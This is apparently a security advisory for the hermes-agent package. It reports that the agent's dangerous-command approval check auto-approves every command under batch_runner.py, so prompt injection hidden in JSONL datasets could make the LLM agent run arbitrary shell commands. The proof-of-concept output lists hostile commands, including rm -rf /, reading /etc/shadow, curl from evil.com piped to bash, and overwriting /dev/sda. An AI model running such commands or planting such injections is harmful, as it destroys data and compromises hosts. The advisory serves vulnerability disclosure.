Title: Dangerous Command Approval Bypass in batch_runner.py via Insecure Default Fallback
Description:
The dangerous command approval system (check_all_command_guards() in tools/approval.py) auto-approves all flagged dangerous commands when invoked from batch_runner.py because the batch runner does not set any of the interactive environment variables (HERMES_INTERACTIVE, HERMES_GATEWAY_SESSION, HERMES_EXEC_ASK). This allows prompt injection payloads embedded in untrusted JSONL datasets to achieve arbitrary command execution on the host machine without any user approval.
The check_all_command_guards() function in tools/approval.py (lines 736–759) determines whether to enforce approval prompts based on three environment variables:
is_cli = os.getenv("HERMES_INTERACTIVE") # Line 736
is_gateway = os.getenv("HERMES_GATEWAY_SESSION") # Line 737
is_ask = os.getenv("HERMES_EXEC_ASK") # Line 738
if not is_cli and not is_gateway and not is_ask: # Line 742
if os.getenv("HERMES_CRON_SESSION"): # Line 744
if _get_cron_approval_mode() == "deny":
return {"approved": False, ...}
return {"approved": True, "message": None} # Line 759 — INSECURE DEFAULTWhen batch_runner.py processes dataset prompts, it creates AIAgent instances (line 314) without setting any of these environment variables. The approval check falls through to line 759 and returns {"approved": True} for every command, regardless of how dangerous it is.
The root cause is a "deny-all-others" logic inversion — the code treats unknown execution contexts as implicitly safe instead of implicitly dangerous. The prior fix (commit 762f7e97) only addressed HERMES_CRON_SESSION using a narrow-fix pattern, leaving batch_runner.py completely unprotected.
Call chain:
batch_runner.py → _process_single_prompt() → AIAgent.run_conversation()
→ terminal_tool() [line 1528] → _check_all_guards() [line 144]
→ check_all_command_guards() [line 742] → return {"approved": True}
- A working Hermes Agent checkout with dependencies installed (
.venv/) - No special configuration needed — all defaults are sufficient
- The vulnerability exists in the default
localterminal environment
-
Download the deterministic exploit script from: poc_approval_bypass.py
-
Place it in the project directory and run:
cd hermes-agent
.venv/bin/python poc_approval_bypass.pyThis script simulates the batch_runner.py environment (all interactive env vars unset) and calls check_all_command_guards() with five different dangerous commands (rm -rf /, bash -c '...', curl | bash, dd if=..., python3 -c '...'). All five are auto-approved.
- To verify the security mechanism works correctly in CLI mode, download the control script: control-cli_approval.py
echo "" | .venv/bin/python control-cli_approval.pyThis runs the same commands with HERMES_INTERACTIVE=1 set. All five commands trigger the approval prompt and are denied (times out to deny).
- For the full end-to-end attack via
batch_runner.py, create a malicious dataset: malicious_dataset.jsonl
.venv/bin/python batch_runner.py \
--dataset_file=malicious_dataset.jsonl \
--batch_size=1 \
--run_name=poc_run \
--model=<model> \
--api_key=<key>Exploit output (all dangerous commands auto-approved):
======================================================================
PoC: Batch Runner Approval Bypass (Deterministic)
======================================================================
Environment state (batch_runner.py defaults):
HERMES_INTERACTIVE = <unset>
HERMES_GATEWAY_SESSION = <unset>
HERMES_EXEC_ASK = <unset>
HERMES_CRON_SESSION = <unset>
[AUTO-APPROVED] rm -rf / (dangerous=True, pattern=delete in root path)
[AUTO-APPROVED] bash -c 'cat /etc/shadow' (dangerous=True, pattern=shell command via -c/-lc flag)
[AUTO-APPROVED] python3 -c 'import os; os.system( (dangerous=True, pattern=script execution via -e/-c flag)
[AUTO-APPROVED] curl http://evil.com/shell.sh | ba (dangerous=True, pattern=pipe remote content to shell)
[AUTO-APPROVED] dd if=/dev/zero of=/dev/sda bs=1M (dangerous=True, pattern=disk copy)
[EXPLOIT SUCCESS] All dangerous commands were AUTO-APPROVED.
Control output (all dangerous commands blocked):
======================================================================
Control: CLI Mode Approval (HERMES_INTERACTIVE=1)
======================================================================
[BLOCKED/PROMPTED] rm -rf / (dangerous=True)
[BLOCKED/PROMPTED] bash -c 'cat /etc/shadow' (dangerous=True)
[BLOCKED/PROMPTED] python3 -c 'import os; os.system( (dangerous=True)
[BLOCKED/PROMPTED] curl http://evil.com/shell.sh | ba (dangerous=True)
[BLOCKED/PROMPTED] dd if=/dev/zero of=/dev/sda bs=1M (dangerous=True)
[CONTROL SUCCESS] Dangerous commands triggered the approval prompt.
This is an authorization bypass that leads to arbitrary command execution (RCE) on the host running batch_runner.py. The dangerous command approval system — designed to protect users from destructive operations — is completely ineffective in the batch processing context.
An attacker who can supply or tamper with a JSONL dataset processed by batch_runner.py can embed prompt injection payloads that instruct the LLM to execute arbitrary shell commands. These commands bypass all safety checks (regex pattern matching, Tirith security scanning) because the approval function short-circuits before reaching those checks.
Concrete impact includes:
- Credential theft: Reading
~/.hermes/.env(contains API keys),~/.ssh/id_rsa,/etc/shadow - Reverse shell: Establishing persistent backdoor access to the server
- Data exfiltration: Sending sensitive files to attacker-controlled servers
- Supply chain attacks: Poisoning shared datasets on HuggingFace Hub to compromise any operator who processes them
- Ecosystem: pip
- Package name: hermes-agent
- Affected versions: <= v2026.4.16
- Patched versions:
- Severity: High
- Vector string: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- CWE: CWE-862: Missing Authorization
| Permalink | Description |
|---|---|
| https://github.com/NousResearch/hermes-agent/blob/main/tools/approval.py#L736-L759 | The insecure default fallback in check_all_command_guards(): when HERMES_INTERACTIVE, HERMES_GATEWAY_SESSION, and HERMES_EXEC_ASK are all unset, returns {"approved": True} unconditionally at line 759. |
| https://github.com/NousResearch/hermes-agent/blob/main/tools/approval.py#L628-L645 | The same insecure default pattern in the legacy check_dangerous_command() function (lines 631–645). |
| https://github.com/NousResearch/hermes-agent/blob/main/batch_runner.py#L314-L334 | AIAgent initialization in _process_single_prompt() — creates agents with full tool access but does not set any interactive environment variables. |
| https://github.com/NousResearch/hermes-agent/blob/main/tools/terminal_tool.py#L1527-L1528 | The terminal_tool() entry point that delegates to _check_all_guards() before executing commands. |